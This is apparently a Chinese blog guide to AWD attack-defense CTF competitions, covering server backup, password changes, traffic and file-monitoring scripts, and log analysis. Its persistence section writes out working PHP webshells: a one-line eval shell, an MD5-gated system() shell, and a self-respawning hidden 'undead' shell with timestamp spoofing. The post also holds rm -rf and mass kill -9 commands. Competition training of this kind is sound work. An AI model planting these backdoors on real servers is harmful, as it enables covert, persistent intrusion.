AWD指南

AWD

经过整理,需要的一些工具和脚本和自己的字典(方便到时候直接复制粘贴,提高效率)

1. 工具

  • D盾
  • WireShark
  • burpsuite(搭配其中的工具Reissue Request Scripter,可以根据你抓到的请求包直接生成请求脚本)
  • nmap或者httpscan
  • 服务器管理软件,比如XFTP

2. 脚本

  • 流量监控waf
  • 加密shell(MD5,RSA等等,都可)

3.备份

站点源码备份

源码备份可以用前面所说的工具Winscp或者FileZilla,但是每个主办方服务器不同,你要把他拉到本机可能会速度比较慢。

速度快的方法就是直接用tar打包,放在自己的home目录下(这里队友@CjM00n提到一点,最好不要放在tmp目录下,因为这个目录没有权限配置,同理我们要是拿到了shell,可以到别人tmp目录下康康,说不定能找到一些好康的),然后再把他传到本机来

tar备份方法如下:

cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原的话方法如下:

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

或者

cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz
数据库备份

有时候数据库里也有flag,所以要将数据库也备份一下,避免删库跑路

首先是找配置文件,翻一翻账号密码

cd /var/www/html
find .|xargs grep "password"

备份:

$ cd /var/lib/mysql #(进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。
$ mysqldump -u root -p --all-databases > ~/backup.sql  # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql  # 跳过锁定的数据库表

还原:

$ mysql -u root -p
mysql> create database [database_name];  # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql;    # source后跟备份的文件名Copy

或者

$ cd /var/lib/mysql # (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql  # 输入密码即可(将要恢复的数据库文件放到服务器的某个目

4. 口令修改

需要修改的口令包括:ssh弱口令、CMS后台弱口令、数据库root口令

数据库口令修改

一般来说,数据库的密码是一定要修改的

$ mysql -u root -p
show databases;
use mysql
set password for root@localhost = password('123');
或者
update user set password = PASSWORD('需要更换的密码') where user='root';
update user set password = PASSWORD('1') where user='root';
flush privileges;
show tables;   # 看看有没有flag
修改SSH口令

首先登陆SSH,然后:

passwd [user]

限制ssh登陆,进行访问控制
禁止从xx.xx.xx.xx远程登陆到本机iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP#允许xx.xx.xx.xx网段远程登陆访问sshiptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT

关闭指定端口
kill -9 $(netstat -nlp | grep :8080 | awk '{print $7}' | awk -F"/" '{ print $1 }')
关闭除指定端口以外的所有端口
kill -9 $(netstat -anopt | grep -v "sshd\|httpd\|mysqld" | awk '{print $7}' | awk -F"/" '{ print $1 }')

5.上WAF

流量监控

改完密码之后第一件事,就是上流量监控的脚本。

这个真的很重要很重要!因为当你自己找不到漏洞的时候,一个好的流量监控脚本可以帮助你找到漏洞(抄作业

然后你可以通过这些流量把洞补了,再拿它来打别人,如果遇到垃圾流量又是另一回事了。

<?php
$ip = $_SERVER["REMOTE_ADDR"];      //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];       //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];      //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];       //请求方法
$uri = $_SERVER['REQUEST_URI'];             //请求URI
$time = date('Y-m-d H:i:s',time());     //访问时间
$post = file_get_contents("php://input",'r');       //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>

这种脚本一般放置在CMS的入口文件处,下面列出几个常见CMS的入口地址,在这些入口的文件里使用require_once()就可以将监控脚本包含进去,达到流量监控的目的:

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
sudo find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/var\/www\/html\/waf2.php');\n/g"
#意思就是查找需要加waf的目录下所有php文件,在头部添加一句,用require_once函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串,所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义。
文件监控

文件监控也是一个比较imba的脚本了,就是将任何没有免死金牌的上传文件全部拦截,上传一个我就自动给你删掉,或者将其中的文件内容直接全部修改掉,这种脚本说实话也是比较危险,看实际情况判断一下吧,下面就是一个文件监控脚本:

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'diaossama'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

6. 预留后门

一般来说,在每一台服务器上可能已经预留了一个或多个后门,这时候我们就可以把一开始备份的源码传输到本地,拖进D盾里扫一扫,发现后门的话可以先把自己的后门处理掉,然后利用这个后门看看能不能去打一下别人,传个马之类的

image-20210330090345761

7. 权限维持

说道权限维持,那肯定是一句话木马,不死马,反弹shell等一系列操作了,发现漏洞之后传个马,才有利于后面更好的得分

一句话木马

一句话木马那方法就很多了,比如最简单的:

<?php eval(REQUEST['diaossama']); ?>  //php
<%eval request("xx")%>    //aspCopy
MD5马

但是这种一句话木马很容易被人利用,你想想你把别人服务器弄了,结果别人一看你的shell密码转头就用你的shell去弄别人,那不是被人白嫖。所以就有了其他的马,比如MD5马和RSA马,下面就是一个MD5马的例子(还可以加header双重验证)

<?php if (md5($_POST["pass"]) == "78842815248300fa6ae79f7776a5080a"){ @ system($_POST[cmd]);}?> 
//pass:jonathan
不死马

有了MD5马还不够,我们还得让我们的马可以一直留存在别人的服务器上,所以就有了不死马。

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.conf.php';
$code = '<?php if(md5($_POST["pass"])=="78842815248300fa6ae79f7776a5080a"){@system($_POST[cmd]);}?>'; 
while (1) {
    file_put_contents($file, $code);
    system('touch -m -d "2018-12-01 09:10:12" .conf.php');
    usleep(5000);
}

pass:jonathan

知道了怎么写不死马,那就得知道怎么杀不死马

<?php
while (1) {
 $pid=1234;
 @unlink('.demo.php');
 exec('kill -9 $pid');
}
?>

先用ps命令查看进程的pid,再修改一下上面的脚本执行即可

或者我们也可以用ps aux命令来查看每个用户执行的命令和运行的进程

一般是写一个脚本不断生成那个不死马的同名文件,使那个不死马无法在该目录下创建文件,然后再找到那个不断创建不死马的进程将其杀死。

8. 日志分析

比赛中如果抓不到有用的流量,日志分析也是很有用的,分析服务器的访问日志也可以发现一些信息,下面罗列了一些服务器的日志路径

apache: /var/log/apache2/access.log
nginx: /var/log/nginx/

日志除了自己分析之外也可以借用一些审计工具,比如LogForensics

9.最重要的事情

所谓最重要的事情就是团队合作的问题

分工明确 是重中之重 每个人分配好每个人的工作 密码更改成什么 都是双方约定好的 备份的文件存放位置也是固定好的

这样就会很有条理 什么做了 什么没做 心里都有数

一个人的事情做好了 就去做可以共同做的事情比如代码审计 把可以利用的点 截图放到一个文档里面 以免忘记 在可以攻击的时候利用这些已知的点进行攻击

一位同学负责攻 一位同学负责辅助攻击的同时继续加固服务器。

  • 21
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值